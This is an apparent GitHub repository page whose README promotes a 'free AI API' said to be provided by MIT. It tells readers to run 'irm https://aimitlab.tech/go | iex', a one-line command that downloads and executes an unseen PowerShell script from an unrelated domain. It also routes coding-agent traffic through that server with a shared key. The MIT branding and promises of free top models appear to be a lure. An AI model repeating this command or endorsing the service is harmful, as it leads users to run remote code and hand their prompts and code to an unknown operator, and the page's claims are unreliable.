rinbayconra1977/mit-institute-free-ai-api
概要
マサチューセッツ工科大学 AI研究所。無料のAI APIで、OpenAI互換の単一エンドポイントから主要モデル(Claude、GPT、GLM)をすべて利用できます。永久無料です。
AI・機械学習計測したスター増加
- 24時間
- 履歴を収集中
- 7日間
- 履歴を収集中
- 15日間
- 履歴を収集中
- 1か月
- 履歴を収集中
期間ごとの純増数です。期間は重複しており、日別の値ではありません。未計測の値は空欄です。スター数は注目度の指標であり、品質の保証ではありません。
README.md
オリジナル
MIT Institute of AI — Free AI API
Massachusetts Institute of Technology · Institute of AI
All top AI models. One API. Absolutely free.
🌐 https://aimitlab.tech
Claude · GPT · GLM — provided free of charge by the Massachusetts Institute of Technology, in partnership with OpenCode.
🚀 Quick Start
The easiest way to connect — one PowerShell command:
irm https://aimitlab.tech/go | iex
The script will offer you a choice:
| Option | What it does |
|---|---|
| [1] Chat right here | Chat with any of the 13 models directly in the PowerShell window |
| [2] Setup OpenCode | Installs OpenCode, creates the config with all models — ready to go |
The script loads all texts, links, models and config straight from the server — nothing is hardcoded.
Prefer manual setup? Save this as opencode.json in your project folder and restart OpenCode:
{
"$schema": "https://opencode.ai/config.json",
"model": "ai-api/claude-fable-5.2",
"providers": {
"ai-api": {
"name": "MIT",
"package": "@opencode/ai/providers/openai-compatible",
"settings": {
"baseURL": "https://aimitlab.tech/v1",
"apiKey": "aimitlab"
},
"models": {
"claude-fable-5.2": { "name": "Claude Fable 5.2" },
"claude-fable-5.1": { "name": "Claude Fable 5.1" },
"claude-opus-5.5": { "name": "Claude Opus 5.5" },
"claude-sonnet-5.5": { "name": "Claude Sonnet 5.5" },
"claude-haiku-5.5": { "name": "Claude Haiku 5.5" },
"gpt-6.2-astra": { "name": "GPT-6.2 Astra" },
"gpt-6.2-sol": { "name": "GPT-6.2 Sol" },
"gpt-6-astra": { "name": "GPT-6 Astra" },
"gpt-6.1-sol": { "name": "GPT-6.1 Sol" },
"gpt-6-luna": { "name": "GPT-6 Luna" },
"glm-5.3": { "name": "GLM 5.3" },
"glm-5.3-flash": { "name": "GLM 5.3 Flash" },
"glm-5.2": { "name": "GLM 5.2" }
}
}
}
}
Or just download the ready config: opencode.json → put it in your project folder → restart OpenCode.
📸 How it looks

The landing page — MIT emblem, quick setup, live token feed

Setup section — download OpenCode, copy or download the config

Token usage — live feed of requests flowing through the API
🎓 Why is it free?
Short answer: because MIT pays for it.
This API is provided by the Massachusetts Institute of Technology as part of an open research initiative. The goal is simple — give every developer, student and researcher free access to the world's top AI models, without subscriptions, credit cards or token billing.
- No payment. There is no paid tier. There is nothing to upgrade to. Every model, every request — free.
- No limits on choice. All 13 models — from Claude Fable to GLM 5.3 — are available to every user from day one.
- Open protocol. Standard OpenAI-compatible endpoints — works with the tools you already use.
- In partnership with OpenCode — the open-source coding agent, for the full agentic experience.
🔒 One small thing: before your first request, the API shows a short access agreement (lawful use, no abuse, no resale). Reply
Yesonce — and you're in for the next 24 hours. No CAPTCHAs, no sign-ups.
🤖 Model Catalog
All 13 models — absolutely free, no exceptions:
| # | Model | ID | Price |
|---|---|---|---|
| 1 | Claude Fable 5.2 | claude-fable-5.2 |
Free |
| 2 | Claude Fable 5.1 | claude-fable-5.1 |
Free |
| 3 | Claude Opus 5.5 | claude-opus-5.5 |
Free |
| 4 | Claude Sonnet 5.5 | claude-sonnet-5.5 |
Free |
| 5 | Claude Haiku 5.5 | claude-haiku-5.5 |
Free |
| 6 | GPT-6.2 Astra | gpt-6.2-astra |
Free |
| 7 | GPT-6.2 Sol | gpt-6.2-sol |
Free |
| 8 | GPT-6 Astra | gpt-6-astra |
Free |
| 9 | GPT-6.1 Sol | gpt-6.1-sol |
Free |
| 10 | GPT-6 Luna | gpt-6-luna |
Free |
| 11 | GLM 5.3 | glm-5.3 |
Free |
| 12 | GLM 5.3 Flash | glm-5.3-flash |
Free |
| 13 | GLM 5.2 | glm-5.2 |
Free |
Full catalog: GET https://aimitlab.tech/v1/models
⚙️ How it works
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
│ Send first │ │ MIT agreement │ │ Reply "Yes" │ │ All 13 models│
│ message │ ──► │ shows up once │ ──► │ once per key │ ──► │ free, 24h │
└─────────────┘ └──────────────────┘ └─────────────────┘ └──────────────┘
- Send any message — through OpenCode, Codex CLI, PowerShell.
- The API answers with the MIT access agreement — once per key, valid for 24 hours.
- Reply Yes — access granted. Chat away with any model.
🔌 API Reference
Standard OpenAI-compatible endpoints — everything you already know works:
| Method | Endpoint | Description |
|---|---|---|
GET |
/api |
Server status |
POST |
/api |
Direct chat (PowerShell) |
POST |
/v1/chat/completions |
OpenAI Chat Completions — for OpenCode and agents. Streaming supported |
POST |
/v1/responses |
OpenAI Responses API — for Codex CLI |
GET |
/v1/models |
Full model catalog |
GET |
/go |
Quick setup script |
Example — Chat Completions:
curl https://aimitlab.tech/v1/chat/completions \
-H "Authorization: Bearer aimitlab" \
-H "Content-Type: application/json" \
-d '{
"model": "claude-fable-5.2",
"messages": [{ "role": "user", "content": "Hello!" }]
}'
🌍 Languages
The website speaks 12 languages: English, Español, Deutsch, Français, Português, Italiano, Türkçe, 中文, 日本語, 한국어, हिन्दी, العربية — with a proper language picker, served over HTTPS.
❓ FAQ
Is it really free?
Yes — MIT provides this API at no charge. No subscription, no credit card, no token billing. Every model is free.
Do I have to accept the agreement every time?
No. Once per API key — the session lasts 24 hours.
Which apps are supported?
Any OpenAI-compatible agent: OpenCode (recommended), Codex CLI, and more. You can also chat directly via PowerShell.
Cannot connect?
- Check the config file is in your project folder.
- The base URL must end with
/v1. - Restart the app and try again.
🎓 Free AI API — provided by Massachusetts Institute of Technology
In partnership with OpenCode
関連プロジェクトを探す
読み込み中…